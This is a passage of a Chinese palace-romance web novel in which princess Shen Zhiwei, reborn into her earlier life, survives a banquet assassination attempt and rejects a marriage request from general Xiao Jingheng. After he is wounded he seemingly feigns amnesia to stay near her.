嘉和帝、皇后两人呼喊声突然响起。
沈知微耳边也已经听到短剑破风向她刺来的声音,可是她来不及闪开!
就在那短剑快刺向沈知微的瞬间。
“叮!”
一只黑色的羽箭突然破空袭来,与那乐师手里的短剑碰击在一起,在半空中激出一簇火花来,生生将那个乐师手里的短剑击落,那乐师竟还被那羽箭带的一片,直直摔在地上翻滚了好几圈,方才停了下来。
“护驾!”
空气传来那熟悉低哑清冷的声音,沈知微熟悉无比!
她回头看去。
萧景珩踏着铁靴走来,甲胄上凝结着暗红的血痂,下颌还挂着未干的血珠,那些血珠顺着他的脖颈渗入领口,将他原本银光烁烁、光彩照人的银甲,渗的暗红一片。
萧景珩的脸上依旧挂着他那副万股不变如同冰雕一般的清冷肃穆的表情,只是那双眼睛——像是淬了冰的刀锋,瞳孔里还翻滚着未散的杀意。
萧景珩抬眸扫了一圈在场的此刻,薄唇轻张,只吐出一个字来。
“杀!”
瞬时间,他背后的黑影仿佛立刻活过来了,化成一个个暗影……不对,那本就是活的!
沈知微离的远,但她还看清楚,那是萧景珩家传的护卫——影子,传说中这是他家亲军中最忠心、最出色的士卒才能被提拔成的暗卫部队,从萧景珩少年时,就跟随在他身边,战斗力可以说是一骑当十,空手就能和披甲的夷狄最精锐的士兵搏斗呢!
沈知微之所以那么清楚,原因是她前世也在这些“影子”手下吃过不少憋。
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但,现在,沈知微看见这些影子来了,心里算是一块大石头落下了,她轻轻吐出了一口气,目光第一次略带感激的扫向了萧景珩,虽然她厌恶,但是萧景珩来的及时无比呢!
“阿……!”
萧景珩手下的影子们,人数不多,但效率却十分的快速,很快如同恶狼入羊群,将那些刺客如砍瓜切菜般,斩血肉横飞,萧景珩不紧不慢提着长剑独步到那血海中间,宛如是修罗神降世站在红莲中间,那双眸子依旧冰冷残酷,毫无波澜……只是那一刻,萧景珩似乎是察觉到了什么,他抬起头来双目对向了沈知微的眼神,一瞬间原本冰冷的杀神,目光瞬间柔和了许多,他微微张开口没有发出声响,只是嘴唇动了动。
“别怕……”
这两个字只有沈知微知晓,只有沈知微读得,这是少年时,她缠着萧景珩教她的唇语,而这一刻成了他们两专属的语言。
沈知微睫毛动了动,心里似乎想起什么,然而当她低头的一瞬间,目光瞥见一旁,正在“呀呀呀”乱叫举起花瓶一边砸向刺客,一边还嚷嚷着“姐姐我要保护你”的沈昭临,往事如潮水一般卷上心头。
是阿,这男人……萧景珩,再好、那都是别人的刀子,是别人砍向她亲人脖颈的利刃,和她有何关,和她又有什么用处?
再抬起头时,沈知微双目又回到了那冰冷如铁的眼神。
萧景珩见的,目光一颤,然后垂下眼眸,而这时旁边有个不长眼的刺客向萧景珩扑来,他手挽剑花只是一剑就将那个刺客劈成两半,血溅到他的眼眸发梢上,依旧没见他再度抬眼。
那些残余刺客已不足二十人,突然其中一人发出一声古怪的长啸。
“阿勒——!”
然后剩余其他刺客忽然是想得到令箭一般,身形骤变,几乎在一瞬间,那残存的十几人已迅速结阵,左右两边人站的突出,中间凹陷下去,手中的马刀一致向前,形成了一个凶狠、又怪异整齐的半弧形。
原本还能和这些刺客打的有所来回的影子、在场大臣们突然发现这些刺客的动作灵活了数倍,他们一向那些刺客靠近,便有数把马刀架过来,不仅讨不到半点好处,还有好几人被那些刺客划伤在当场了呢!
沈知微皱起眉头,就算她再活一世到底还是有事情不知道的,但她觉得这绝不是简单的刺客。
忽听一声轻笑,沈知微抬头看去,那是萧景珩发出的。
“偃月阵?呵,没想到离开疆场这么多年,还能在这里碰见!”
随即萧景珩突然一抬手,然后迅速的放下,宛如军阵里军旗指挥一般,他的影子们也迅速明了什么,立刻站好位置,沈知微看了过去,宛如一根羽箭的锋矢一般。
几乎就在一瞬间,影子们结好了阵立刻向这偃月阵的中心冲击了过去,刚才还占上风的刺客们瞬间有些力不可支了,但他们人数还是比萧景珩的人手多,加上他们手里的马刀利器一瞬间,居然僵持了下来。
就在此时,一个尖利的嗓音响起。
“哎哟,我的天老爷,不是……不是叫来演军阵舞么?怎么突然变成真的开战了,哎哟,快快快!儿郎们上哟!”
9. 奖赏
“来了!”
沈知微眼睛一亮,顺着那尖利的声音望去。
一个捏着粉色手帕,脸上涂着厚厚一层白面儿,两颊还画有腮红,但身形长相却是个大老爷们的男子出现在众人面前。
这是父皇手底下的宫殿监督少监喜子,平日里沈知微每每跑去养心殿玩儿,就经常和他逗着玩,关系是极好的。
今日沈知微早知有刺杀,也知道自己去请侍卫统领胡致同对面估计会把自己的话当小儿的戏言,况且今晚这么大阵仗,对方连宫宴的乐曲都计算在内,估计早就找借口把胡致同那边安排好了吧!
所以沈知微就动了脑筋,早早叫父皇殿前的少监去找胡致同假借演武军阵的表演形式去向胡致同借人,果不其然宫殿监督少监的话就是好使,还真让他借来几十人呢!
那些刺客仗着军阵之威,手中利器,原本还占的些许喘气之境,这些御前军儿郎一来,沈知微他们这边人数陡然上升,瞬间平衡就被打破了。
很快,在一众儿郎的山呼之中,很快那些刺客就兵败如山倒了。
见的此幕,嘉和帝也长舒了一口气,拉住温静徽,然后转头先看向了离他们最近的沈知微。
“微儿,你……你没事吧……”
“儿臣还好,父皇不应先安慰我,应该下去看看这些臣子,还有来救驾军士们,他们今日受惊最多,出力流血流汗的也是最多,远比儿臣重……”
沈知微语气镇定自若,语气平淡至极,仿佛这生死场面在她眼里不过鸿毛一缕而已。
“微儿,是不是把你吓着了……”
温静徽连忙拉起沈知微的手,罕见的在外人面前面露出不合符礼法“笑不露齿,忧不现颜”规训的担忧神色。
见的母亲在外人面前这般面色,听得她的语气都颤抖起来了。
沈知微方才回过神来。
“额……额……是、是的,母后,刚才好可怕,我一时间、一时间没缓过神来,多亏了诸位文臣武将、列位军士奋勇,方才解的危难……要不然……女儿、女儿……呜呜……”
沈知微想起自己的人设,一个娇娇软软的小公主在这危机面前,自然要泣不成声的。
但……实在话,这场面和她前世经历的那些狂风骤雨,不过是微风和煦的小场面而已……
可为了不崩自己的人设,为了不让家人担心,沈知微还是举起袖子掩住面容,假哭了两声。
不过虽然是假哭,半滴眼泪都没有流,但前世修炼多年的演技还是让沈知微哭的绘声绘色、婉转动听。
在场朝臣、军士们听的居然纷纷上前安慰起沈知微起来。
“长公主莫哭,刚才您英武绝伦,像是……像是那太祖再世,一人一把金环刀,站在那当阳桥头,喝退十万雄兵……”
“你这莽夫,会不会安慰人啊!太祖再神武,也是雄壮男子,怎可用来夸长公主这般有勇有谋、又美丽动人的女孩儿呢,我看啊,长公主似那商朝妇好、魏时花木兰、唐时李公主一般,英武又不失谋略!更难得的是,长公主还生得这般倾国颜色,纵是把咱们长公主写进史书里,也列的进那巾帼英雄传里!”
“去,掉什么书袋呢,多说几个典故,显得尚书大人文采斐然是吧,我看就一句话,长公主甚肖陛下,有陛下年轻时候英武之姿!”
……
这些臣工越夸越离谱,连沈知微自己都有些听不下去,她慌忙放下长袖来,摇着嘉和帝的手让他阻止这些大臣们再吹下去。
谁知,嘉和帝只是哈哈大笑,摸着胡须,居然没立刻制止,反而饶有兴趣的多让这些人夸了一会。
大家见的嘉和帝这番举动,更是明了,是了,长公主一个娇弱女儿居然敢以身犯险挡在父母面前,任天下哪个父母见的不心疼?不怜惜?不自豪呢?
嘉和帝自然也是,他心疼女儿挡在自己身前九死还生,自豪自己养了如此孝顺的女人,当为天下孝道表率,所以朝臣们怎么夸他不仅不阻止,反而有意让他们继续夸下去!
终于在某位大臣说出要给沈知微专门开书列传的时候,嘉和帝才轻咳几声说出了话儿。
“微儿,你此般孝顺,为父甚慰,说吧,你想要什么奖赏,就算要天上的月儿,为父都命工匠给你打造一番!”
“女儿……儿臣,不想要什么奖赏,父皇,这几个刺客来源有异,不像是普通谋逆的刺客,他们训练有素……而且刚才儿臣听了他们提了那句阿勒……也不像是中原口音,更像是、更像是……女儿说不清,请父皇彻查!”
沈知微规规矩矩的行了个理,将自己的推断断断续续的说出来,其实她心里非常清楚,这必然是她那“好”五哥勾结北方融于可汗派来的刺客,沈知微前世时,沈昭景就任边防将军,就故意放烽火惹得边军连连调动,造成守军疲惫,很多峡口空虚,仅五年就输了关外10万亩地。
要不是沈知微当权后,连续新晋了许多寒门军士担任将领,好歹从沈昭景和萧景珩手里抢回部分兵权,说不定都不用等到她被鸩杀,边疆就全面失手,可汗的马刀都驾到京中贵人的脖子上去了。
但是沈知微也知道自己不能说的太明,她现在只是个不谙世事的小公主,这些东西点一点就行了,要是逻辑通顺,事事通明,嘉和帝如此聪慧的人反而第一时间会怀疑回沈知微身上去。
“的确,朕上前看看!”
嘉和帝从龙椅上站起,走到那个刚才跃起刺杀他的琴师面前,这家伙刚才被萧景珩一箭射中手里的短剑,虽然没射杀他,但是萧景珩气力巨大无比,直接将其射翻在地,打了好几个衮,让这厮昏厥了过去。
嘉和帝上下打量了那琴师一番,忽地发出一声冷笑,然后开口道。
“景珩,上前来!”
“微臣在!”
萧景珩三步并作两步便走到嘉和帝面前单膝跪下。
“景珩,你看这马鞋眼熟吗?”
“回禀陛下,眼熟,这是北边戎狄最喜欢的翘尖马鞋,微臣十七岁时曾回父王驻地,与他一起对抗过这些蛮夷!”
萧景珩斜撇了一眼,立刻说道。
“哼,这些蛮夷,以为穿的衣冠就可以混淆视听,可惜这双马鞋就出卖了他们!
北疆这些年
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也是给了他们太多便利,大约是马市喂不饱这些狼子的野心,以为中原富裕,想刺杀朕造成天下混乱好趁机浑水摸鱼入的关来,可笑可笑!
景珩,等会朕就拟一封书信给你父亲送去,是时候让天天给朕抱怨,闲的枪都生锈的老家伙给那帮狼子松松骨头了!”
嘉和帝目色一凛,狠狠的撂下一句。
“微臣领命!”
听的这话,萧景珩深深叩首下去。
再抬起头来时,却不觉一丝血流从萧景珩的耳朵里流了出来,滴落在他那满是血迹的银甲之上。
见的这一幕嘉和帝也是震惊又心疼连忙问道。
“景珩,你怎么了?”
“无事,让陛下见笑了,那些贼子人数多了点,微臣不慎……这是小伤,差点伤到陛下龙体才是大事情!”
“陛下,小奴有一句话不知当讲不当讲!事关咱们少帅少将军的!”
就在萧景珩打算把自己的伤势揭过去的时候,他手下的影子暗卫突然冒出一个人来,这人就是李峰,是他的暗卫首领。
“你说!”
嘉和帝眼里萧景珩那约等于半个儿子,自然心疼无比,也不怪罪李峰的冒昧,摆摆手就让他说了去。
“刚才少帅来迟几步是因为我们发现从御花园北侧也有一只鬼鬼祟祟冒充御林军的部队,人数比这边还多些,少帅前去盘问口令,他们突然发难,于是少帅便领着咱们和他们血战了半天,这才赶回来的,少帅身上挂彩,也时刻想着陛下安危,小奴还见的少帅手上被冷箭射中,他斩断那根羽箭长柄就匆匆赶来救援这边了……
请陛下明察啊!”
“原来如此!原来如此!景珩,你也是朕的好孩子啊!”
听得这话,嘉和帝感动无比,在场众臣联想到刚才萧景珩为什么一直都是一只手提剑,原来是这般原因啊。
随即,所有人都开始夸奖萧景珩忠勇孝义,乃是大胤不可多得的猛将啊!
嘉和帝随即站了起来,亲自上前去扶起萧景珩,一边扶一边问道。
“景珩,你的忠心朕十分感动,说吧,你要什么奖赏,朕绝不亏待于你!”
“陛下……陛下,真的……什么都可以吗?”
萧景珩听到此话,突然抬起头来,眼里真诚又充满了期冀。
“你这孩子说的什么话,朕是九五至尊,自当一言九鼎,说吧,你要什么,只要不犯宗法国法,朕都可以给你!”
嘉和帝听的哈哈大笑,萧景珩自幼长在他的身边,什么性子嘉和帝最是清楚不过,这孩子以往一向是端方清冷,恪守礼数,不轻易表现自己的心情的,今天居然会主动问奖赏,这真是奇了怪了,嘉和帝瞬间感兴趣无比。
沈知微在一旁听罢,虽然面上也装的和大家一样很关心萧景珩会提什么奖赏,但心里却是翻白眼都翻尽了,她心里只觉得萧景珩这家伙,肯定是要兵权,毕竟嘛……以后他要去帮她的“好”五哥呢!
“我……臣,唯有一愿!请陛下,允许长公主早日与臣完婚!”
“什么!?父皇,我……儿臣不要嫁他!”
10. 失忆
10
“什么!?父皇,儿臣……儿臣不嫁!”
沈知微这一声娇叱,惊得满殿寂静。
但见她广袖翻飞间冲到了嘉和帝的面前,一张芙蓉面涨得绯红如血,纤纤玉指直指萧景珩,指尖微微颤着,似是已然压不住心中的惊诧了。
重生以来,她何曾这般失态?
可此番状况实在是超乎她的意料了。
沈知微有想过萧景珩会要兵符虎符,有想过他会求加官进爵,甚至连他要金银珠玉这等俗物都想好了应对之策。
却万万没想到,这厮竟敢当着满朝文武,以救驾之功相挟,求娶于她!
可他忘记了吗?
那杯鸩酒是他亲手给她斟上去的,而她的幼弟也是萧景珩一剑斩首的!
不对……不对……
冷静下来!
萧景珩这厮如此冷血卑鄙,他的做法一定是别有用心!
对了!
沈知微闹钟闪电般的划过一个念头。
然后她目光一亮,瞬间赫然开朗起来。
是了!定是那日在皇帐外,叫他听去了退婚的只言片语。如今赶在父皇降旨前,竟使出这般下作手段!
好一个以退为进!好一个先发制人!
沈知微怒极反笑,眼底凝起三尺寒冰。她忽地转身,裙裾在青玉砖上旋开一朵莲花,双膝一软,直直跪在嘉和帝的面前道。
“父皇方才问儿臣要什么赏赐?”她抬眸,一字一顿道:“儿臣只求——解、除、婚、约!”
满殿亲贵大臣乃至皇后温静徽都不自觉的张大眼睛。
他们可都记得彼时沈知微可是钦慕萧景珩得紧啊,成日里追着萧景珩身后叫着“哥哥”、“哥哥”的,今儿个两人怎么决裂如此……
不对,众人端看沈知微决绝的表情,这不是小儿女的吵架,他们甚至觉出了一丝势同水火的味出来了。
萧景珩跪在殿中,那双刚才如刀剑般的眸子,此刻却不敢落在沈知微身上,听着沈知微决绝的话语,他仿佛都觉得自己血液都凝固。
还是此般恨我吗……
的确,他是卑鄙,他就是想趁着嘉和帝还没公布沈知微退婚的事儿,搏一搏,看看他还能不能把沈知微揽入怀里。
呵……兵者诡道也,我这一生的阴诡伎俩,怕是都要用在……身上了。
两人僵持着,谁也没有半分退让。
这一幕让嘉和帝为难无比。
一边是刚才御前救驾,众臣赞和,自己最宝贵的女儿;
一边也是功勋着重,自己也有言在先,绝不食言的孩子……
难办啊难办……
嘉和帝平生第一次觉得这儿女亲事,居然比国事还让他头疼不已。
嘉和帝看了看沈知微,又看了看萧景珩,一咬牙,便开口道。
“微儿,景珩他今日有功,你和他早有婚约——”
“父皇!”
嘉和帝刚刚开口,沈知微听的他偏向萧景珩急得顾不上心中盘算直接开口了,一旁的萧景珩表情一亮,嘴角微微勾起,耳边伤口流下的血迹流到他嘴里,他竟也觉得有些甜丝丝了!
“——但,你不愿嫁,萧家也是功勋旧臣,如是强凑,实在并非良姻……”
“陛下!”
怎的,又突然偏向了沈知微,这是要退婚?萧景珩心里一万个接受不了,顾不得君臣礼仪了便脱口而出道。
一旁的沈知微听的,暗暗舒了口气,轻轻微笑起来了,映得她面色如朵娇艳的桃花似的。
“——所以此事得从长再议,今日也是惊险万分,先安顿好列位朝臣,往后再议吧!”
嘉和帝长舒了一口气,既然现在无法解决,他便使出了历代帝王遇见解决不了的事情的一个字诀窍——拖!
听的此话,沈知微和萧景珩齐齐露出了不满的神色,可是又没办法,只得低头领命。
其他大臣见的此幕,他们也纷纷应和,盛赞嘉和帝说的有理,毕竟这看起来是嘉和帝的家事却也算得上国事,胡乱参合几句,要是等这小两口改天又和好了,掉脑袋的是自己啊!
事已至此,沈知微暗自咬牙,却不得不强撑笑容上前搀扶嘉和帝:"父皇受惊了,儿臣扶您回宫歇息。"
“的确,朕也乏了,皇后咱们回宫歇息去吧!”
嘉和帝含笑牵起了温静徽的手,将剩余彻查刺客的事由交给了萧景珩处理。
但!
就在嘉和帝携着妻女转身的一瞬间。
忽然异变突起!
那原本被萧景珩射倒昏厥的乐师刺客此时也醒了过来,正被几个身强力壮的汉子按在地上五花大绑的时候,他突然昂首向天,喉间发出苍狼般的嚎叫。
“苍狼神佑吾——!”
但见他脖颈青筋暴起,腮帮诡异地鼓动着,竟从口中射出一枚三寸铁钉,钉头泛着幽蓝寒光,直取沈知微一家三口的后心!
“当心!”
沈知微听到身后萧景珩的一声嘶吼,刚转的头来,那铁钉的锋芒已然已到了面前,寒光烁烁,她已经来不及有任何反应。
忽然!
电光火石间,她腰间一紧,整个人被拽得旋转半圈。恍惚中看见萧景珩银色铠甲在月光下划出弧光,只听“噗嗤”一声,那枚铁钉刺入人体的声音如此近、如此清晰!
沈知微看着萧景珩的身躯如同短线的风筝一般,被那铁钉的冲击力带的飞了起来。
等她完全反应过来的时候,萧景珩已经被那枚铁钉射入御花园的水池中去了。
“快……快救人……”
沈知微不自觉的向萧景珩跌落的方向迈了一步,明明她恨之入骨,明明日日巴不得萧景珩死去,可替萧景珩求生的话语,却不自觉的从口中脱口而去。
“太医!太医!”
“这些贼子不能留,就算要留口供,也得先把他们的手脚斩断。”
一时间,在场的所有人都沸腾起来了,救人的救人,要给萧景珩报复的报复。
而只有沈知微站在御花园的水池旁边,看着那水面上越来越多漂浮起来的血沫,舌尖盘桓了半天话语,最终还是被她咽了下去。
——
“这儿……是哪里啊……”
萧景珩从床上醒来,抬眸看见了头上悬着的秋香色鲛绡帐,吃力的抬起一只手来想拨开帐子看个清晰。
“醒了!醒了!”
身边一个内侍尖利的声音响了起来,然后跌跌撞撞的跑了出去。
一会儿,他躺着的屋子里就进来一堆人儿。
萧景珩毕竟机警。
他故意躺了回去闭紧眼睛,心里默念着五、四、
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三、二...就是现在!
嘉和帝刚走到他身边。
忽地,萧景珩就连忙坐起拥起被子,手脚并用的爬到了床边的角落里,然后用被子捂住口鼻,唯留下一双眼睛在被外,可怜的眨了几下,发出软糯之极的口气。
"你们、你们是谁?这……这不是我家!我要回家!"
"这……这怎么是好?发生了什么?"
嘉和帝大惊失色,连忙问身边御医。
显然那些御医也从没见过这种情况,一个个汗流浃背,半天太医院首领才站出来说道。
“恐怕……恐怕是那刺客的铁钉上淬了塞外奇毒,伤及少帅神智……老臣这就去翻查《西域毒经》,定能……”
“你们!你们速去!萧岳铮那老家伙还有三个月就入京了,他要是看见景珩这般模样!”
嘉和帝一把掀开萧景珩的被子,想把萧景珩拉出来,快些让御医们诊断。
却见青年立刻蜷成个虾子,用枕头挡住半张脸,只露出一双湿漉漉的凤眼——那眼神活像是前月里珍兽所喂养的刚出生的幼犬的样貌。
害怕、恐惧、戒备……却有一丝好奇……
温静徽突然摇摇头,掩住嘴角发出一点笑音。
“陛下您看,景珩这模样,倒像极了当年他第一次进宫...”
话音未落,萧景珩突然从指缝里偷瞄向门口——沈知微正提着裙摆悄悄往后挪。
沈知微其实已经来了许久,她听到萧景珩醒来便第一时间过来看看情况,见的这家伙还活着,她就心满意足兼漠不关心了。
至于萧景珩现在的状态嘛,沈知微打心底表示满意,傻点好,失忆了更好,最好一辈子这样就不会与她为敌了。
所以沈知微已经打算敛起裙角后撤了,打算趁大家都没发现的时候,悄无声息跑回自己宫里去。
可萧少帅不会同意的,今世也好,前世也罢,他总是能第一时间精准捕捉沈知微的动作。
“那个姐姐!”
萧景珩坐在床上突然抬起手指直勾勾指着沈知微。
“我认得你!”
沈知微的绣鞋钉在原地,她震惊的、眼睛瞪的圆圆的看着萧景珩赤脚跳下床跌跌撞撞的向她跑来,连中衣的带子松开了都没来得及,那里面露出大片大片纱布缠绕的胸膛,微微渗透出血迹。
近的沈知微身边,沈知微微微皱眉,全身绷紧,想看看萧景珩想做些什么……
谁知……
萧景珩突然真化身成一只小奶狗一般,鼻尖凑近沈知微颈侧轻轻嗅了嗅,然后那张原本清冷英俊的脸庞忽然绽开梨涡。
“姐姐!你身上有槐花蜜的味道!和我梦里一模一样!”
话音未落,萧景珩居然想往沈知微肩头靠上去。
“荒、荒唐!”
沈知微立刻后撤了几步,抬手便要去推他,但,掌心刚触到萧景珩肌肤的瞬间,便觉着一片湿热——纱布渗血了。
她下意识放轻力道,这厮立刻得寸进尺地环住她的腰,转头对嘉和帝露出天真笑容。
“我、我要娶她!带回北疆去!好不好!好不好!你答应我~”
这……这家伙到底是真失忆了,还是假失忆了!什么都不记得了,还记得这事情?
沈知微听的此话,推搡萧景珩的手瞬间僵硬。
11. 照顾
萧景珩那一声“姐姐”,不仅沈知微听见了,连嘉和帝和温静徽都听得一清二楚。
终于沈知微好不容易将他推开,迅速整理好被扯乱的衣袖的当口,她总觉的有什么东西在盯着自己……
沈知微再一抬头,却见昔日冰冷如铁,名震边疆的萧景珩萧少帅正委屈巴巴地看着她,活像一只被主人抛弃在雨里的大狗。
而更让她头皮发麻的是——父皇、母后,甚至一旁伺候的宫女太监,全都用一种意味深长的眼神看着她。
“你们……这是做什么?”
她警惕地后退半步,一种不祥的预感陡然从沈知微的心间浮现。
嘉和帝轻咳一声,语气慈爱得让她心里发毛。
“微儿啊,景珩如今伤重,在京中又无亲无故,朕想着……”
“父皇!”
沈知微立刻打断。
“萧府上下仆从无数,再不济还有他那些神出鬼没的暗卫,哪里需要儿臣照顾?更何况——”
沈知微自己都能听到自己牙齿磋磨的声音。
“男女授受不亲!”
这话几乎是沈知微用尽全身力气吼出来的,她现在可顾不得许多了,要不和萧景珩现在扯清关系,待会萧景珩按父皇的意思就得住到她宫里了!
虽然沈知微自认宽容,但还没宽容到和杀过自己一次的人共处一室,还得照顾他的!
可……
那边突然传来低低的抽鼻子的声音。
很轻,但这宫里其他人都奇怪静默着,以至于大家也听的很清晰。
沈知微僵硬着脖子循着声音望过去。
只看见萧景珩埋着头,让人看不清他的表情,可那种模样像极了被私塾先生责骂的小孩子一般。
“姐姐是嫌弃我吗……”
“我……”
沈知微一时语塞,怎么、怎么感觉好像是自己在欺负他似的,不对,萧景珩明明还比她大呢,怎的这姐姐、姐姐的叫的这般顺口啊……
沈知微一向清明的脑子,一下子运转不过来,只得愣在原地。
萧景珩再抬起眼眸,凤眸含着点点淡光,看向一旁站着的温静徽。
他本就生得俊美,此刻因失忆而显得格外单纯无辜,再加上肩上还缠着渗血的纱布,整个人透着一股脆弱感。
毕竟是自己一手带大的孩子啊!
温静徽当即救拍板说道。
“这孩子,怪可怜的。
知微,不是母后说你,你在不喜欢景珩,有什么矛盾,那都是可以放放的,他可是为了救你,才病成这般模样的。
他现下只亲近于你,你就照顾他几个月,待得太医查明毒素,解了毒,到时候你是想退婚也好,还是不想退婚也罢,咱们再从长计议。
唉,这孩子真是可怜见的……”
沈知微面无表情的看着自家娘亲一口一个可怜的揉着萧景珩的头发,她现在心里翻满了白眼,却不能展现出来,只能无言以对。
见的沈知微不反对了,嘉和帝很是高兴,携着温静徽就离开了,太医院也纷纷跟着那位老太医回去查明典籍配药去了。
萧景珩养伤的宫殿中很快就只剩下了他和沈知微。
“你……”
不是在装的吧!
沈知微歪着头,认真端详着萧景珩那单纯无辜的凤眸,心里总是不信,别看这男人做事大马金刀,雷厉风行。
但她很清楚萧景珩其实十分狡猾,只是内秀于心,不和他交手的人是察觉不到他的算盘的。
沈知微也是在萧景珩手上吃过好几次憋后才分明。
所以,她总觉得有些不信,但又找不到什么问题。
萧景珩看着沈知微歪头,他突然笑了笑,也学着沈知微歪头,然后做出和沈知微一样的表情。
“姐姐,你看我学的像不像!”
像只等待主人夸奖的小狗。
“……不准学我!”
“哦……”
萧景珩低下脑袋,又露出那种犯错怯怯的表情。
沈知微心里此刻更是复杂,她直觉总感觉萧景珩有问题,但是理智上又觉得萧景珩这副呆呆的模样,实在很难把他和那个杀伐果断的男人联系在一起。
突然……
或许是福至心灵……
也或许是平日里拜的神佛突然给了她一个机灵!
沈知微轻轻一笑,艳若桃李,对着萧景珩说道。
“既然你要跟我回去,那我们就玩个小游戏好吗?”
“好!”
萧景珩纯真无邪的笑开来,眼神清澈没有一丝犹豫。
“这游戏就叫握手!
来!握手!”
沈知微脸上的笑容更大了。
这是珍兽坊常用来训练犬只的口令。
多少是有点侮辱人的……
如果萧景珩没有失忆,他定然是不会接受的!
谁知……
萧景珩只是歪头看了看,然后毫不迟疑的将没有受伤的手递了过去,然后想了想又问道。
“姐姐,一只手够不够,我这只手还好疼,等、等我好了,我们再玩一次握手游戏!”
“……不,不用了!你……你就留在这里,等本……等姐姐来接你回去……”
沈知微也没想到萧景珩不仅一点没怀疑自己,还十分信任沈知微的所作所为,突然让沈知微早就不存在的良心感觉到一丢丢的愧疚。
她看了看萧景珩,又看了看自己,最后沈知微扔下一句让萧景珩等着她接他回去,便逃似的离开了这里。
——
出的萧景珩养伤的宫门。
沈知微一下子也不知道去哪儿了。
回自己宫殿吗?
估计父皇母后早就派人通知那些宫人自己要带萧景珩过去的,到时候他们没看见萧景珩,估计又得传到父皇母后耳朵里去了……
那……那去拜会一下宫里应该结交的势力,哦对,胡统领因为失察,还被莫名不知道哪里来的假手谕调开执勤岗位,原先差点被杀头,沈知微好说歹说才让嘉和帝放他一马。
胡致同这些天虽然被放出来了,但也深深的自责不已,最近据她所打听到的消息,胡致同一天操练5遍军演,还加了许多守则以防再有假令箭出现……
人家正在奋发图强,兼之心情不好,自己还是不要去触别人的眉头了吧……
至于父皇母后那里……
经了这一出,她更不想过去。
就这么一边想着,沈知微一边踱步到了一处宫殿门口。
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忽听一阵银铃声伴随着清朗的少年音。
“阿姐!今天怎么有空来我宫里坐坐啊!”
沈知微抬头望去,是沈昭临笑嘻嘻的站在宫门一侧,正在由宫人给他整备衣冠马匹,一看这小子大约就是要去上任去了。
沈知微还没说话,沈昭临那连珠炮一般的嘴就停不下来了。
“阿姐!我今天就要去军机处上任了,嘿嘿虽然是小职,但是能站在父皇和诸位大臣身边听听治国之道、用兵之法也是极好的。
赶明儿,我听明白了,你就瞧好吧,我定然比明湛哥更出息,帮你砍个敌将首级给你做凳子!”
“……”
沈知微一脸无语,她好好的栖凰阁要敌将收集做什么凳子?嫌半夜起夜时,宫人打灯照过去,吓不死自己么?
但她也知道沈昭临是好心,当初萧景珩也是,第一次出阵得胜回来给她带了一块血糊糊的玉佩,沈知微差点吓得扔了,后来想了又想,最终是藏在自己的妆匣里。
原本以为是什么不值钱的玩意,是多年后,她手下的将领见的,告诉她这是敌酋王室世代相传的玉佩,非可汗不得佩戴的……
这些男儿总喜欢把战利品当作心意送给别人,但就是不怎么考虑沈知微的接受程度而已!
“嗯,你好好加油,凳子什么的就不要了……嗯,对了,今天沈昭景也去上任吧!”
沈知微有意岔开话题,她说着说着突然想起,五皇子和沈昭临年岁也就差了几个月,先后行的冠礼,今日沈昭临领了事上任,沈昭景自然也得去。
“对啊!五哥好像去……是去户部……,嗯好像是这个,哎呀,要我说还不如让五哥同我一起去军机处呢,户部这种算钱粮的地方,五哥必然不耐烦的!
阿姐,你可记得上次五哥生辰,咱们去他宫里,那家伙,除了经书就没别的了,当时咱们还碰着他的管事太监要来和他汇报账款呢,他连眼皮都没抬就说了一句‘阿堵物而已,你们看着办便是’,又回去念经了。
他这性子去了户部,怕是生生得憋出病来!”
他不爱钱财?沈知微心里冷笑了一下,据她前世的经验……算了,这些她也没法给沈昭临提起,不过看沈昭临现在还是如此这般相信沈昭景,她又不得不提点这傻小子几句。
“傻小子,那军机处是随便进的吗,尽说这些糊涂话,你两既然不去一处,平日里来往时,尽量注意言语,你可要清楚,父皇让你去军机处听到的看到的,十有八九都是不能被外人所知的消息!”
“啊!啊!我……我知道了,我以后少和五哥说话就是了!少说话就时了!”
沈昭临吓得立刻抬起了手捂住嘴巴,然后一脸无辜的看向沈知微。
“呵……傻小子!”
沈知微抬起手指点了一下沈昭临的额头,然后施施然的和自己这个傻弟弟告别了回宫去。
——
就在沈知微走到宫门口的一瞬间。
她是怎么也没料到。
那个男人——萧景珩站在她的宫门口,还是穿着着那件白色的中衣,胸前裹满了绷带。
当然最奇怪的是他还抱着他睡过的那个枕头,一脸认真的站在沈知微宫门前,像个卫士一般。
“你……在干什么?”
12. 枕剑
沈知微站在宫门前,看着那个抱着枕头、一脸认真的男人,只觉得太阳穴突突直跳。
她想过自己重生和萧景珩的一万种关系,有敌对、有疏离、甚至老死不相往来……但眼前的这一切的确是超乎她预料的。
此刻,沈知微只觉得头疼无比,甚至有些头晕目眩,好半天她咬着牙再问了一边。
"你在这里做什么?"
萧景珩听的沈知微的话语,那双凤眸很是无辜,只是讷讷的回应道。
“等姐姐来接我啊!”
“我……我不是让你在你养伤的地方等着吗?”
“可、可姐姐去了好久……”
萧景珩委屈的扁了扁嘴。
“我是怕姐姐迷路,所以自己找过来的!”
……
沈知微听的此言,一双妙目里立刻泛起的狐疑。
要知道,从萧景珩养伤的宫殿里走到沈知微的栖凰阁,大约要经过三道宫门,其间还有好几座回廊、花园,别说是萧景珩这样“失忆”的病人了,就算入宫得个把月的小宫娥、小宫监,都未必能找到路呢!
他真的……失忆了?
沈知微慢慢挪了两步走到萧景珩的面前,仰头看向萧景珩的面容似乎是想观察出点什么来。
萧景珩依旧还是那副单纯的模样,脸上还挂着傻乎乎的笑颜。
“你……记得路?”
沈知微问出心里的疑惑,她当然知道不可能从这男人嘴里得到什么真话的,所以她站到离萧景珩很近、很近、甚至近到连萧景珩鼻息喷涂的温热气息都能感觉到位置,方才停下脚步。
然后她笑着,仔细端详着萧景珩的表情。
谁知,就在这时。
萧景珩动了,他捂住脑袋,立刻蹲了下来,嘴里还不住的喊道。
“姐姐,头好痛,……我、我只记得要来找姐姐。”
萧景珩这声音不可谓不响亮,惹得路过的宫娥、宫监都偷摸看了过来,甚至连沈知微自己栖凰阁里的宫人都不住往这边张望。
(“噫?那不是萧少帅吗?怎么蹲在长公主面前啊……”)
(“唔……我听说是长公主和萧少帅闹矛盾了,在婚宴上当众退婚,甩了萧少帅好大的脸呢!”)
(“真、真的吗……可是陛下宫内的传旨太监,不是说陛下旨意让萧少帅来咱们宫里养伤吗?要是这么大矛盾的话,那……那……”)
(“咦,你这就不懂了吧,陛下和皇后他们肯定是想说合,可你看萧少帅都被咱们长公主训的蹲下去了呢!以后要在一起,萧少帅一定是个耙耳朵呢~”)
